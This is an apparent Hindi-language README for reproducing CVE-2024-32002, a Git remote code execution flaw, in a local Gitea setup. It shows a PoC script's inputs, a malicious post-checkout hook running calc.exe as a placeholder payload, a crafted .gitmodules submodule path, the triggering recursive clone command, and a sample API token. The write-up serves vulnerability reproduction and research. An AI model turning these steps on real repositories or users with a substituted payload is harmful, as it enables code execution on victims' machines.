
Gitea का उपयोग करके CVE-2024-32002 Git RCE शोषण के लिए स्थानीय पुनरुत्पादन वातावरण, पोस्ट-चेकआउट हुक और सबमॉड्यूल पथ ट्रैवर्सल के माध्यम से कस्टम पेलोड इंजेक्शन के साथ।
हम इस ब्लॉग पोस्ट का अनुसरण कर रहे हैं लेकिन कुछ प्रमुख अंतरों के साथ https://amalmurali.me/posts/git-rce
git_rce) में एक विशेष रूप से तैयार पथ वाला एक सबमॉड्यूल शामिल है।.git/ निर्देशिका की ओर इशारा करता है, जिसमें एक दुर्भावनापूर्ण हुक होता है।⚠️ चेतावनी: इस PoC को उन सिस्टम पर न चलाएं जिनके आप मालिक नहीं हैं या जिनके उपयोग की आपको स्पष्ट अनुमति नहीं है। अनधिकृत परीक्षण के अवांछित परिणाम हो सकते हैं।
हमें gitea के लिए एक API टोकन बनाने की आवश्यकता है यह http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications पर पाया जा सकता है
मैंने टोकन को सब कुछ एक्सेस करने की अनुमति दी ताकि सब कुछ काम करे
फिर हम अपना poc.sh चला सकते हैं, यह सुनिश्चित करते हुए कि इसे आवश्यक जानकारी जैसे gitea सर्वर का IP पता और पोर्ट, रिपॉजिटरी बनाने के लिए उपयोगकर्ता नाम और टोकन प्रदान किया जाए
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
साथ ही हमें पेलोड शामिल करने के लिए पंक्तियाँ 42-46 को संपादित करने की आवश्यकता है
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
एक और कदम है, हमें main से hook रिपॉजिटरी में .gitmodules पर जाना होगा। मैंने git tea में मैन्युअल रूप से रिपॉजिटरी में जाकर फ़ाइल बदली

और फिर यह किया
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
यह सुनिश्चित करते हुए कि जब मैं A/modules पर गया तो मुझे कुछ इस तरह दिखाई दिया

फिर उस कमिट पर क्लिक करने पर दूसरी रिपॉजिटरी में POC सामग्री दिखनी चाहिए जब आप उस पर क्लिक करेंगे
फिर हम अपना URL ले सकते हैं और यह एक्सप्लॉइट को ट्रिगर करने के लिए काम करना चाहिए
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
इस भेद्यता की खोज करने और अनुकूलन के लिए ब्लॉग पोस्ट और रिपॉजिटरी उपलब्ध कराने का श्रेय filip-hejsek और amalmurali47 को जाता है